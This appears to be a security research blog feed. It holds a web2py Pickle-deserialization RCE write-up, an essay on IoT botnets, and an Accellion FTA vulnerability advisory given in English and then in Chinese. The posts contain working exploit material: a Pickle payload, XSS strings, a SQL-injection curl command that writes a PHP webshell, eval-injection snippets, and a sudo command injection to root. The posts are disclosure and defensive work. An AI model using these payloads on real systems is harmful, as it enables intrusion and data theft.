Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

WEB2PY 反序列化的安全問題-CVE-2016-3957

2 January 2017 at 16:00

前言

在一次滲透測試的過程中,我們遇到了用 web2py 框架建構的應用程式。為了成功滲透目標,我們研究了 web2py,發現該框架範例應用程式中存在三個資訊洩漏問題,這些洩漏都會導致遠端命令執行 (RCE)。由於範例應用程式預設是開啟的,若沒有手動關閉,攻擊者可以直接利用洩漏資訊取得系統執行權限。這些問題編號分別為:CVE-2016-3952、CVE-2016-3953、CVE-2016-3954、CVE-2016-3957。

背景-老生常談的 Pickle Code Execution

在繼續說明前必須要先認知什麼是反序列化的安全問題?反序列化的安全問題在本質上其實是物件注入,它的嚴重性取決於所注入的物件本身是否會造成危險行為,例如讀寫檔。一般來說要透過反序列化建構一個成功的攻擊有兩個要點:

  • 是否可控制目標所要反序列化的字串。
  • 危險行為在反序列化後是否會被執行。這在實務上大概有下面兩種情形:
    • 危險行為是寫在魔法方法 (Magic Method) 裡面,例如 PHP 的 __construct 在物件生成時一定會執行。
    • 反序列化後覆蓋既有物件,導致正常程式流程出現危險結果。

反序列化的問題在每個程式語言都會發生,但通常需要搭配看程式碼拼湊出可以用的攻擊流程,比較難利用。不過,某些實作序列化的函式庫會將程式邏輯也序列化成字串,因此攻擊者可以自定義物件直接使用,不再需要拼湊,例如今天要提的 Python Pickle。

直接舉個 Pickle 的例子如下,我們製造了一個會執行系統指令 echo success 的物件 Malicious,並且序列化成字串 "cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."。當受害者反序列化這個字串,即觸發執行該系統指令,因此印出 success

>>> import os
>>> import cPickle
>>> class Malicious(object):
...   def __reduce__(self):
...     return (os.system,("echo success",))
...
>>> serialize = cPickle.dumps(Malicious())
>>> serialize
"cposix\nsystem\np1\n(S'echo success'\np2\ntp3\nRp4\n."
>>> cPickle.loads(serialize)
success
0

這就是 Pickle 誤用反序列化所造成的命令執行風險。攻擊者很容易可以產生一個含有任意命令執行的序列化字串,進而讓受害者在進行反序列化的過程中觸發執行惡意命令。

反序列化 + 序列化字串可控

本次發現的問題主要來自 web2py 本身的 session cookie 使用 Pickle 處理序列化需求 (CVE-2016-3957),而且因為 session cookie 的加密字串固定 (CVE-2016-3953),攻擊者可任意偽造惡意的序列化字串造成前面所介紹的命令執行風險。細節如下。

CVE-2016-39571

web2py 的應用程式如果使用 cookie 來儲存 session 資訊,那麼在每次接到使用者請求時會將 session cookie 用一個 secure_loads 函式將 cookie 內容讀入。 [Ref]

gluon/globals.py#L846
        if response.session_storage_type == 'cookie':
            # check if there is session data in cookies
            if response.session_data_name in cookies:
                session_cookie_data = cookies[response.session_data_name].value
            else:
                session_cookie_data = None
            if session_cookie_data:
                data = secure_loads(session_cookie_data, cookie_key,
                                    compression_level=compression_level)
                if data:
                    self.update(data)
            response.session_id = True 

secure_loads 函式內容如下,在一連串解密後會用 pickle.loads 方法將解密內容反序列化,在這裡確定 cookie 內容會使用 Pickle 處理。[Ref]

gluon/utils.py#L200
def secure_loads(data, encryption_key, hash_key=None, compression_level=None):
    if ':' not in data:
        return None
    if not hash_key:
        hash_key = sha1(encryption_key).hexdigest()
    signature, encrypted_data = data.split(':', 1)
    actual_signature = hmac.new(hash_key, encrypted_data).hexdigest()
    if not compare(signature, actual_signature):
        return None
    key = pad(encryption_key[:32])
    encrypted_data = base64.urlsafe_b64decode(encrypted_data)
    IV, encrypted_data = encrypted_data[:16], encrypted_data[16:]
    cipher, _ = AES_new(key, IV=IV)
    try:
        data = cipher.decrypt(encrypted_data)
        data = data.rstrip(' ')
        if compression_level:
            data = zlib.decompress(data)
        return pickle.loads(data)  # <-- Bingo!!!
    except Exception, e:
        return None

因此,如果知道連線中用以加密 cookie 內容的 encryption_key,攻擊者就可以偽造 session cookie,進而利用 pickle.loads 進行遠端命令執行。

CVE-2016-3953

很幸運的,我們發現 web2py 預設開啟的範例應用程式是使用 session cookie,並且有一個寫死的密鑰:yoursecret。[Ref]

applications/examples/models/session.py
session.connect(request,response,cookie_key='yoursecret')

因此,web2py 的使用者如果沒有手動關閉範例應用程式,攻擊者就可以直接在 http://[target]/examples/ 頁面發動攻擊取得主機操作權。

Proof of Concept

我們嘗試用 yoursecret 作為 encryption_key 偽造一個合法的 session cookie,並將一個會執行系統指令 sleep 的物件塞入其中。帶著此 session cookie 連入 web2py 官網範例應用程式(http://www.web2py.com/examples),情形如下:

當插入的物件會執行指令 sleep 3 時,網站回應時間為 6.8 秒

POC1

當插入的物件會執行指令 sleep 5 時,網站回應時間為 10.8 秒

POC2

確實會因為塞入的 session cookie 值不同而有所延遲,證明網站的確執行了(兩次)我們偽造的物件內容。2

其他洩漏導致 RCE

此外,在 web2py 範例應用程式為了示範框架的特性,因此洩漏了許多環境變數。其中有兩個變數較為敏感,間接也會導致端命令執行,分別如下。

CVE-2016-3954

在 http://[target]/examples/simple_examples/status 頁面中,response 分頁內容洩漏了 session_cookie_key 值。這個值就是用來加密前面所介紹的 session cookie,搭配 CVE-2016-3957 Pickle 的問題可直接遠端命令執行。

CVE-2016-3954

無論使用者是否自行更改 session_cookie_key,或是該值是系統隨機產生。此介面仍然可以取得機敏資訊藉以造成危害。

CVE-2016-3952

http://[target]/examples/template_examples/beautify 頁面洩漏了系統環境變數,當使用者是使用 standalone 版本時,管理者的密碼就會在環境變數裡出現。這個密碼可登入 http://[target]/admin 管理介面,管理介面內提供方便的功能得以執行任意指令。

CVE-2016-3952

官方修復

Version 2.14.1 移除洩漏的環境變數。[Ref]

Version 2.14.2 使用不固定字串作為 session_cookie_key,並移除洩漏頁面。

applications/examples/models/session.py
from gluon.utils import web2py_uuid
cookie_key = cache.ram('cookie_key',lambda: web2py_uuid(),None)
session.connect(request,response,cookie_key=cookie_key)

總結

web2py 框架預設會開啟一個範例應用程式,路徑為 http://[target]/examples/。
由於這個應用程式使用 Pickle 來處理序列化的 session cookie,且因為加密字串為寫死的 yoursecret,任何人可竄改 session cookie 的內容,藉此進行 Pickle 命令執行攻擊。
該範例程式介面中也存在 session_cookie_key、管理者密碼洩漏問題,兩個都會導致任意命令執行。除此之外,在這個應用程式中洩漏許多系統配置、路徑等資訊,有機會被拿來做進階攻擊。
在 2.14.2 版本後已經修復所有洩漏問題,當然最好的解決辦法就是關閉這個範例應用程式。

最後,來整理從開發者的角度在這個案例中該注意的要點:

  1. 小心處理序列化字串,使用者若有機會改變該字串值,有機會被插入未預期的惡意物件,造成惡意的結果。
  2. 正式產品中切記要移除任何跟開發相關的配置。

時間軸

  • 2016/03/08 發現問題與其他研究
  • 2016/03/09 回報官方 GitHub Issue
  • 2016/03/15 成功與開發者 email 聯繫
  • 2016/03/15 官方修復管理者密碼洩漏問題 (CVE-2016-3952)
  • 2016/03/25 官方修復其他弱點並發佈 2.14.2 版本

附註

  1. 其實 CVE-2016-3957 並非不安全的設計,在跟 CVE team 溝通的過程中發現 web2py 開始使用 JSON 取代 Pickle [Ref],因此判定 web2py 認為目前的設計是不洽當的,給予此編號。後來官方因故將 Pickle 改了回來,不過在沒有洩漏加密字串的前提下已經是安全的了。 

  2. 在自行架設的 web2py 環境中只會執行一次,沒有去細追 web2py 官方網站為何執行兩次。 

IoT設備商別成為幫兇 從Dyn DDoS攻擊事件看IoT安全

25 December 2016 at 16:00

萬物皆聯網成為萬物皆可駭

2016年10月21日知名網路服務 Dyn 遭受殭屍網路發動三波巨大規模 DDoS 攻擊,世界各大網站服務皆因為此攻擊而中斷,包括 Amazon、Twitter、Github、PayPal 等大型網站都因此受到影響。資安人員研究發現,本次 DDoS 攻擊的發起者未明,但多數攻擊流量來自殭屍網路「Mirai」,利用 IPCAM、CCTV、DVR、IoT 裝置等系統進行 DDoS 攻擊。為什麼這些設備會成為攻擊的幫凶呢?我們又該如何自保呢?

一個攻擊事件,一定有背後的原因。攻擊者一定是有所求,才會進行攻擊,可能是求名、求利或求樂趣。因為 DDoS 攻擊會直接影響目標系統的運作,對系統營運造成影響,在黑色產業的循環中通常會利用這種攻擊來勒索錢財。例如針對營運線上遊戲的公司進行 DDoS 攻擊,讓遊戲服務中斷,逼迫企業將主機的連線花錢「贖」回來。但 Dyn 這次的事件各家都沒有收到類似的勒索信,因此資安專家們推測,這可能是一次練兵,或者甚至是 DDoS 攻擊服務的行銷手法。如果我們用黑色產業的角度去思考一個攻擊行為,就會有截然不同的看法。試想,如果這是一次駭客組織的商業行銷行為,目的是展現這個團隊的 DDoS 攻擊火力,這樣的成果是否可以稱作是一個成功案例呢?如果你是服務購買者,是否對這樣的服務有信心呢?

利用 IoT 裝置及網通設備佈建殭屍網路 (botnet) 已經不是新聞。Internet Census 2012 是一次資安圈的大事件,一個稱為 Carna 的 botnet 利用了全世界 42 萬台裝置,掃描全世界整個 IPv4 設備,蒐集 IP 使用狀況、連接埠、服務標頭等資訊,並且提供共計 9TB 資料開放下載研究。而這個 botnet 多數利用路由器 (router) 的漏洞,利用預設密碼、空密碼登入設備,植入後門供攻擊者控制。而後的幾次大型攻擊事件都與 IoT 及嵌入式裝置有關係,讓 IoT 的口號「萬物皆聯網」成為「萬物皆可駭」,也讓資安研究人員對於研究這類型設備趨之若鶩。近年智慧車輛不斷發展,國際間也不少智慧車輛被駭的事件。車輛被駭影響的就不單是資訊系統,更會波及人身安全甚至整個城市的交通,資安考量的影響也遠比以前嚴重。

連網裝置成為駭客下手的主要原因

究竟是怎樣的安全漏洞讓攻擊者這麼輕易利用呢?目前攻擊者及 botnet 多數利用的還是使用預設密碼、或甚至是沒有設定密碼的裝置。網站 Insecam 揭露了全世界數萬支未修改密碼的攝影機,再再顯示不少民眾或公司行號購買了監視器,卻沒有健全的資安意識,讓監視器暴露於全世界之中。更多攝影機、監視器等的資安議題可以參考我們的文章「網路攝影機、DVR、NVR 的資安議題 - 你知道我在看你嗎?」。除了預設密碼之外,設備中的後門也是一個大問題。不少路由器、無線基地台廠商被爆出系統中含有測試用的登入帳號,該帳號無法關閉、無法移除,且容易被攻擊者進行研究取得。除了等待廠商升級韌體來修補該問題之外,沒有其他解法,因此成為攻擊者大量取得控制權的方式之一。

IoT 裝置為什麼會成為攻擊者下手的目標呢?我們可以分成幾點來探討。

第一,嵌入式裝置以往的設計都是不連網,IoT 的風潮興起之後,各廠商也為了搶市場先機,加速推出產品,將原本的產品加上網路功能,甚至 App 控制功能。而求快的結果就是犧牲資安考量,加上廠商可能原本並非網路專長,也沒有足夠的資安人員檢視安全性,導致設計出來的產品資安漏洞層出不窮。產品的設計必須嚴守 Security by Design 的原則,在開發初期的每個環節都納入資安考量,並且遵守 Secure Coding 規範,避免在產品後期疊床架屋,造成要釐清資安問題的根源更難如登天。

第二,產品的更新機制問題。IoT 裝置的更新機制在早期並沒有謹慎考量,需要使用者自行下載韌體更新,甚至有些裝置必須回廠才能進行更新。不少使用者只要產品沒有出問題,並不會主動進行韌體更新,甚至覺得更新只會造成更多問題。在沒有便利更新機制的情況之下,設備的資安問題更難以被妥善處理。近期因為資安事件頻傳,FOTA (Firmware Over-The-Air) 機制才逐漸被重視,但其他資安問題也隨即而來。如何確保韌體的完整性?如何防止攻擊者下載韌體進行研究修改?這些都是廠商需要不斷去反覆思量的。

第三,敵暗我明,也是我們認為最重要的一點。我們認為資安就是攻擊者與防禦者的一場資訊不對稱戰爭,防禦者(廠商)通常只會憑藉著自己的知識跟想像進行防禦,但卻不知道攻擊者的思維跟手法。就像春秋時代公輸般,建造雲梯協助楚國攻擊宋國的城池。唯有了解攻擊者,化解這個不對稱的資訊,才能有效的進行防禦,如同墨子了解雲梯的攻擊方式,模擬各種對應防禦的手法,才成功讓楚王放棄攻擊。不僅是 IoT 廠商,所有企業都必須了解攻擊者的思維、手法,知曉這個黑色產業的運作,甚至針對攻擊的方式進行模擬演練,將每一個防禦的缺口補足,才可以正面迎戰攻擊者。

設備商避免成為幫凶,消費者也應自保

身為使用者,我們該如何確認自己的設備有沒有被感染呢?若被感染該怎麼有效清除呢?建議先搜尋網路上目前已公開有漏洞的廠牌及型號,若在問題清單之內,先將整台設備備份設定後,回復原廠初始設定,以確保攻擊者放置的惡意程式都被清除。接著更新廠商所釋出的新版韌體,並記得在更新安裝完畢後立即更換密碼以防二度被入侵。若廠商無釋出更新,可能是資安不被重視,也可能是廠商已經結束營運。如果還是選擇要使用這個設備,建議將設備轉放在內部網路,或者是在前面增加防禦設備,避免攻擊者入侵。

至於廠商該怎麼跟上資安的腳步呢?我們認為目前廠商最重要的就是資安意識。這已經是老生常談,以往網路產業逐漸重視資安,但跨入網路的其他資訊產業恐怕還沒意識到資安的嚴重性。凡舉傳統家電轉為智慧家電、車輛轉為智慧車輛、甚至基礎建設也逐漸資訊化的現在,若這些踏入網路的產業沒有相對應的資安意識,恐怕很難在初期就預防風險的發生。企業也必須盤點風險的所在,透過人工滲透測試模擬攻擊者的攻擊思維及路徑,如同軍事演習一般,將入侵的途徑一一封鎖。我們認為 IoT 等嵌入式裝置、智慧家電、甚至網通資安設備本身,未來都會是駭客組織攻擊的對象,利用更新的困難度跟管理者的疏於管理,建置一個個大規模殭屍大軍,成為未來戰爭的棋子。我們期許未來廠商建構產品時,都能優先納入資安考量,不成為黑色產業的幫凶,也讓國際認可台灣產品是資安至上的優良品質。

Advisory: Accellion File Transfer Appliance Vulnerability

21 September 2016 at 16:00

By Orange Tsai

English Version
中文版本


About Accellion FTA


Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.

Vulnerability Details


In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.

After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).

Areas Affected


According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.

Vulnerability Analysis and Exploitation


Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)


Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!

/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...

Among these parameters, $g_app_id $g_username $client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:

$db = DB_MASTER . $g_app_id;
if(!@mysql_select_db( $db ))

In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.

The following lines are the most important function client_properties( $client_id ).

function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
    $sql = ($user_type  = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
    $filter['client_id'] = $client_id;
    $filter['client_name'] = $client_name;
    $filter['client_type'] = $client_type;
    $filter['user'] = mysql_escape_like( $user );
    $filter['user_type'] = $user_type;
    $filter['manager'] = $manager;
    $filter['user_status'] = $user_status;
    $sql &= construct_where_clause( $filter, $exclude_del );

    // ...

    $result = array(  );
    @mysql_query( $sql );
    ( $db_result =  || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error(  ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
    $where_clause = array(  );
    $where_clause[] = 'c_server_id  != \'999\'';

    if ($exclude_del) {
        $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
    }
    if ($filter['client_id'] != '') {
        $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
    }
    if ($filter['manager'] != '') {
        $filter['manager'] = mysql_real_escape_string( $filter['manager'] );
        $where_clause[] = 'c_manager = \'' . $filter['manager'] . '\'';
    }
    if ($filter['client_name'] != '') {
        $filter['client_name'] = mysql_real_escape_string( $filter['client_name'] );
        $where_clause[] = 't_mail_server.c_name LIKE \'%' . $filter['client_name'] . '%\'';
    }
    if (( $filter['user'] != '' && $filter['user'] != '%%' )) {
        $filter['user'] = mysql_real_escape_string( $filter['user'] );
        $where_clause[] = 't_mail_server.c_user_id LIKE \'' . $filter['user'] . '\'';
    }

The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.

In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!

PoC

$ curl https://<fta>/courier/1000@/security_key2.api -d "aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"

The created PHP file will be located at

http://<fta>/courier/themes/templates/.cc.php


Known-Secret-Key leads to Remote Code Execution

In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.

The precondition of this vulnerability is Known-Secret-Key stored in the database

This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!

/home/seos/courier/sfUtils.api
$func_call = decrypt( $_POST['fc'] );
$orig_func = '';
if (preg_match( '/(.+)\(.*\)/', $func_call, $func_match )) {
    $orig_func = $func_call;
    $func_call = $func_match[1];
}
$cs_method = array( 'delete_session_cache', 'delete_user_contact', 'valid_password', 'user_password_update_disallowed', 'user_password_format_disallowed', 'get_user_contact_list', 'user_email_verified', 'user_exist_allow_direct_download', 'user_profile_auth' );
if (( !$func_call || !in_array( $func_call, $cs_method ) )) {
    return false;
}
if ($orig_func) {
    $func_call = $orig_func;
}
if ($func_call  == 'get_user_contact_list') {
    if (!$_csinfo['user_id']) {
        return false;
    }
    if (preg_match( '/[\\\/"\*\:\?\<\>\|&]/', $_POST['name'] )) {
        return false;
    }
    $func_call = 'echo(count(' . $func_call . '("' . $_csinfo['user_id'] . '", array("nickname"=>"' . addslashes( $_POST['name'] ) . '"))));';
} else {
    if (isset( $_POST['p1'] )) {
        $func_param = array(  );
        $p_no = 7;

        while (isset( $_POST['p' . $p_no] )) {
            $func_param[] = str_replace( '\'', '\\\'', str_replace( '$', '\\$', addslashes( $_POST['p' . $p_no] ) ) );
            ++$p_no;
        }
        $func_call = 'echo(' . $func_call . '("' . join( '", "', $func_param ) . '"));';
    }
}
echo @eval( $func_call );

If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude ( ) in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.


Execute system commands directly by using backticks (`)

user_profile_auth(`$_POST[cmd]`);

A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.

user_profile_auth(include $_FILES[file][tmp_name]);


Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)

After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.

1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...

The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ rsync 0::soggycat/.ssh/
drwx------        4096 2016/01/29 18:13:41 .
-rw-r--r--         606 2016/01/29 18:13:41 authorized_keys

bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/

bash-3.2$ ssh -i id_dsa -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0' (RSA) to the list of known hosts.
uid=520(soggycat) gid=99(nobody) groups=99(nobody)


2. Command Injection in “yum-client.pl”

To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.

/etc/sudoers
...
Cmnd_Alias      YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias      YUM_CLIENT = /usr/local/bin/yum-client.pl
...
# User privilege specification
root     ALL=(ALL) ALL
admin    ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody   ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin   ALL =NOPASSWD: RESET_APPL
...


YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:

/usr/local/bin/yum-client.pl
...
GetOptions (
   'help' => \$help,
   'download_only' => \$download_only,
   'list' => \$list,
   'cache' => \$cache,
   'clearcache' => \$clearcache,
   'cdrom=s' => \$cdrom,
   'appid=s' => \$appid,
   'servername=s' => \$servername,
   'version=s' => \$version,
   'token=s' => \$token);

my $YUM_CMD = "/usr/bin/yum";
if ($cache){
  $YUM_CMD = "$YUM_CMD -C";
}

# if this is based on RHEL 5, change the repository
my $OS = `grep -q 5 /etc/redhat-release && echo -n 5`;
my $LOGFILE = "/home/seos/log/yum-client.log";
my $STATUSFILE = "/home/seos/log/yum-client.status";
my $YUMCONFIG = "/etc/yum.conf";
my $YUMDIFF_FILE = '/home/seos/log/yum.diff';

if ($cdrom){
  if ($OS eq "5"){
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf-5";
  }else{
     $YUM_CMD = "$YUM_CMD -c $cdrom_path/yum.conf";
  }
  system("mkdir -p /mnt/cdrom && mount -o loop $cdrom $cdrom_path") == 0 or fdielog($LOGFILE,"unable to mount: $!");
}

After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.

Thus, using the commands below

bash-3.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)

bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'

mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.

bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

will grant execution freely as root!

Backdoor


After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.

One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in

https://<fta>/courier/themes/templates/Redirector_Cache.php

The other is WSO, found on 9 of the online hosts globally, placed in

https://<fta>/courier/themes/templates/imag.php


Acknowledgement


The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.

Timeline

  • Feb 6, 2016 05:21 Contact Accellion for vulnerability report
  • Feb 7, 2016 12:35 Send the report to Accellion Support Team
  • Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
  • May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
  • Jun 6, 2016 10:20 Advisory finalized by mutual consent

References

Accellion File Transfer Appliance 弱點報告

21 September 2016 at 16:00

By Orange Tsai

English Version
中文版本


Accellion FTA 介紹


Accellion File Transfer Appliance (以下簡稱 FTA) 為一款安全檔案傳輸服務,可讓使用者線上分享、同步檔案,且所有檔案皆經 AES 128/256 加密,Enterprise 版本更支援 SSL VPN 服務並整合 AD, LDAP, Kerberos 等 Single Sign-on 機制。

漏洞描述


在研究過程中,於 FTA 版本 FTA_9_12_0 (13-Oct-2015 Release) 上,發現了下列弱點:

  • Cross-Site Scripting x 3
  • Pre-Auth SQL Injection leads to Remote Code Execution
  • Known-Secret-Key leads to Remote Code Execution
  • Local Privilege Escalation x 2

以上弱點可使不需經過認證的攻擊者,成功遠端攻擊 FTA 伺服器並取得最高權限,當攻擊者完全控制伺服器後,可取得伺服器上的加密檔案與用戶資料等。

弱點經回報 CERT/CC 後取得共四個獨立 CVE 編號 (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353)。

影響範圍


根據公開資料掃描,全球共發現 1217 台 FTA 存活主機,主要分布地點為美國,其次加拿大、澳洲、英國與新加坡。根據存活主機的域名、SSL Certificate 發現 FTA 使用客戶遍及政府、教育、企業等領域,其中不乏一些知名品牌。

漏洞分析與利用


Multiple Cross-Site Scripting (CVE-2016-2350)

1. XSS in move_partition_frame.html

https://<fta>/courier/move_partition_frame.html
?f2=’-prompt(document.domain);//

2. XSS in getimageajax.php

https://<fta>/courier/web/getimageajax.php
?documentname=”onerror=”prompt(document.domain)//

3. XSS in wmInfo.html

https://<fta>/courier/web/wmInfo.html
?msg=ssologout
&loginurl=”><svg/onload=”prompt(document.domain)


Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)

經過代碼審查後,在 FTA 中發現一個不須驗證的 SQL Injection,這使得惡意使用者可透過 SQL Injection 存取伺服器的敏感檔案及個人資料,並配合權限設定問題導致遠端代碼執行。問題出在 security_key2.api 中所呼叫到的 client_properties( ... ) 函數中!

/home/seos/courier/security_key2.api
// ...
$password = _decrypt( $password, _generate_key( $g_app_id, $client_id, $g_username ) );
opendb();
$client_info = client_properties( $client_id )[0];
// ...

其中 $g_app_id $g_username $client_id $password 皆為攻擊者可控參數,雖然有個 _decrypt( ... ) 函數對密碼進行處理,但是與弱點觸發並無相關。其中要注意是 $g_app_id 的值會被代入成全域變數,代表當前使用的 Application ID,並且在 opendb( ) 使用,其中在 opendb( ) 內有以下代碼:

$db = DB_MASTER . $g_app_id;
if(!@mysql_select_db( $db ))

mysql_select_db 中所開啟資料庫的名稱由使用者可控,如給錯誤的值將導致程式無法繼續執行下去,所以必須將 $g_app_id 偽造成正確的內容。

接著是最主要的函數 client_properties( $client_id )

function client_properties($client_id = '', $user = '', $manager = '', $client_type = 0, $client_name = '', $order_by = 'client_id', $order_type = 'a', $limit = '', $offset = '', $exclude_del = 1, $user_type = '', $user_status = '') {
    $sql = ($user_type  = '' ? 'SELECT t_mail_server.* FROM t_mail_server ' : 'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');
    $filter['client_id'] = $client_id;
    $filter['client_name'] = $client_name;
    $filter['client_type'] = $client_type;
    $filter['user'] = mysql_escape_like( $user );
    $filter['user_type'] = $user_type;
    $filter['manager'] = $manager;
    $filter['user_status'] = $user_status;
    $sql &= construct_where_clause( $filter, $exclude_del );

    // ...

    $result = array(  );
    @mysql_query( $sql );
    ( $db_result =  || fatal_error( 'exec:mysql_query(' . $sql . ') respond:' . mysql_error(  ), __FILE__, 221 ) );
function construct_where_clause($filter, $exclude_del = 1) {
    $where_clause = array(  );
    $where_clause[] = 'c_server_id  != \'999\'';

    if ($exclude_del) {
        $where_clause[] = '!(t_mail_server.c_flag & ' . CLIENT_DELETED . ')';
    }
    if ($filter['client_id'] != '') {
        $where_clause[] = 'c_server_id = \'' . $filter['client_id'] . '\'';
    }
    if ($filter['manager'] != '') {
